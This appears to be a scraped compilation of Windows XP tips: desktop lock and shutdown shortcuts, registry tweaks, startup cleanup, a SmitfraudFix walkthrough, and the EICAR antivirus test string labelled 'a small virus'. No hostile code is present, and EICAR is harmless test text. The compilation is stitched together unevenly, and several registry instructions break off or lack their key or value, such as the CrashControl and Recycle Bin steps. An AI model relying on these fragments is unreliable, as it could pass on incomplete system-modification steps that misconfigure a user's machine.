shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe
user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next
page, and hit 'finish.'
You will notice that the shortcut you created has a blank icon. To select a more
appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click
the 'change icon' button.
In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then
click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your
desktop locking shortcut is now ready for use. Test it out.
it is useful if u have an account as it will prompt 4 a password.
XP hides some system software you might want to remove, such as Windows Messenger,
but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text
file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to
the Add or Remove Programs in the Control Panel, select Add/Remove Windows
Components and there will be your prey, exposed and vulnerable.
Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in
other words, create a new shortcut). You should now see a pop-up window instructing
you to enter a command line path.Use this path in "Type Location of the Item"
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace "C" with the correct letter of the
hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button.
Now whenever you want to shut down, just click on this shortcut and you're done.
Windows XP includes the ability to perform different actions depending on the type of
CD you insert into the drive. For example, you could set your system to always respond
to CDs containing MP3 files by opening Windows Media Player.
To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to
set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the
various recognized types of CD and choose appropriate actions for them.
HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).
If you are leaving your computer for a while and do not wish to turn it off, but want to
assure that no-one else can use the computer while you are away, locking the desktop is
the best option.
By pressing WINDOWSKEY+L, you password protect your system just as if you had
logged out or restarted the computer. The advantage is that any programs or processes
that were running when you locked the desktop will stay open and running in the
background, ready for you to resume work or play.
Open registry editor by going to Start then Run and entering regedit. Once in registry,
navigate to key
This registry edit will cause your system to reboot itself automatically upon crashing.
This can be useful if you have a reason for keeping your system on 24/7:
Open REGEDIT
Navigate to
'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl'
Go to Start > Control Panel > Administrative Tools > Computer Management, Disk
Management, then right-click the partition whose name you want to change (click in the
white area just below the word "Volume") and select "change drive letter and paths."
From here you can add, remove or change drive letters and paths to the partition
There are a variety of reasons why your windows XP system would boot slowly. Most of
the times it this has to do with the startup applications. If you would like to speed up the
bootup sequence, consider removing some of the startup applications that you do not
need. Easiest way to remove startup apps is through System Configuration Utility. Go to
Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck
application(s) that you do not want to startup at boot time
If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon
all together. In Run, type Regedit and go to:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/
Desktop/NameSpace
Delete the {645FF040-5081-101B-9F08-00AA002F954E} key in Namespace
In the Edit String dialog box, type Recycle Bin in the Value data box, and then click OK.
Open Registry Editor. In Registry Editor, navigate to the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-
0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is
no need to reboot. Just wait a few seconds and see how the icon appears.
Windows XP is based on the same platform as Windows 2000, and shares that operating
system's robust file security options, at least when using the NTFS file system.
Unfortunately this security system, which enables an administrator to decide exactly
which files and programs any given user will have access to, is not actually implemented
by default in Windows XP. This is a concession Microsoft made to avoid confusing basic
users of XP Pro, and to cripple XP Home.
The NTFS file security options can be enabled easily enough in XP Pro, but are
apparently non-existent in the Home version. Fact is, the tools are there, you just need to
look a little bit harder.
To enable NTFS file security in Windows XP Home: First you need to assure that at least
your main hard drive is formatted with the NTFS file system. See tip #61 for instructions
on this. Restart your system. Just after the memory and BIOS check screen, but before the
Windows splash screen comes up, press F8 a few times.
When the Windows boot menu appears, select 'safe mode' from the list of options.
Once Windows has loaded in safe mode, right click the folders and files you would like
to change access to. You will notice that the 'security' tab now exists, and thus you are
allowed to assign or deny access to individual users for each file, folder and program.
Once you are done, restart Windows normally, and your changes will be enforced.
The thing is, XP is still monitoring away, and some of its observation tools can use a
considerable amount of resources. The disk monitoring is an example of this, and it's a
good idea to turn the disk monitors off if you are not planning to use the performance
monitor application.
To do this:
Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N'
Alternate Method
Win XP comes with many inbuilt performance monitoring applications that constantly
examine various parts of the system. This information can be of real use to a system
administrator for collecting performance statistics. However, for a home user, these
statistics hold no value and since the monitoring happens all the time, it consumes a good
deal of system resources. “Disk monitoring”, for example, happens in the background,
and turning it off is advisable if you will not be using the performance monitoring
applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the
command prompt: go to Start>Run, type in “cmd” and press [Enter].
Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete
that o/s which is selected by default there. Beforemaking any changes make a copy of
boot.ini file.
ANTI VIRUS
Download SmitfraudFix:Use this URL to download the latest version (the file contains
both English and French versions):http://siri.geekstogo.com/SmitfraudFix.exe
Use:
* Search:
o Double-click SmitfraudFix.exe
o Select 1 and hit Enter to create a report of the infected files. The report can be found at
the root of the system drive, usually at C:\rapport.txt
Clean:
* Reboot your computer in Safe Mode (before the Windows icon appears, tap the F8 key
continually)
* Double-click SmitfraudFix.exe
* Select 2 and hit Enter to delete infect files.
* You will be prompted: Do you want to clean the registry ? answer Y (yes) and hit Enter
in order to remove the Desktop background and clean registry keys associated with the
infection.
* The tool will now check if wininet.dll is infected. You may be prompted to replace the
infected file (if found): Replace infected file ? answer Y (yes) and hit Enter to restore a
clean file.
* A reboot may be needed to finish the cleaning process. The report can be found at the
root of the system drive, usually at C:\rapport.txt
* Optional:
o To restore Trusted and Restricted site zone, select 3 and hit Enter.
o You will be prompted: Restore Trusted Zone ? answer Y (yes) and hit Enter to delete
trusted zone.
Note:
Well, this situation might never arise when you need to Disable your Task manager.
But more commonly it happens because of a virus attack. Viruses do disable the
Task Manager. Now they do so by editing the Registry values. Even if you remove the
viruses, the registry changes will remain and thy will continue to effect your system,
until you correct them. This is easy and I will let you know how this can be done
with just a small change in Registry. Here’s what you need to do.
This is a very simple method by which Task manager can be Enabled/ Disabled.
Apart from that, if you are in a network, and want to disable Task manager for a
user, then you need to change the Computer Policies.
Check your Anti-Virus efficiency - Make a small virus
yourself
by Naani | 7:59 PM in Notepad Tricks, Viruses and Antiviruses | comments (0)
The Virus Source Code is for information purposes only, for researchers and
computer virus or programming enthusiasts. No warranty is given or to be implied
for any software listings contained herein. You take full responsibility for any
damages caused by compiling, running, or sharing this information. Be aware that
running any malicious code on another's computer or computer network might be a
criminal act. Use at your own risk!
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*
* Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest
placing it in the Desktop.
* Run the virus.com file to test your computer efficiency. If there are not any
responses from the AntiVirus software, I suggest changing your AntiVirus
immediately because it does not work anymore.
* Enjoy testing it and note that this virus.com cannot affect or damage any parts of
your computer.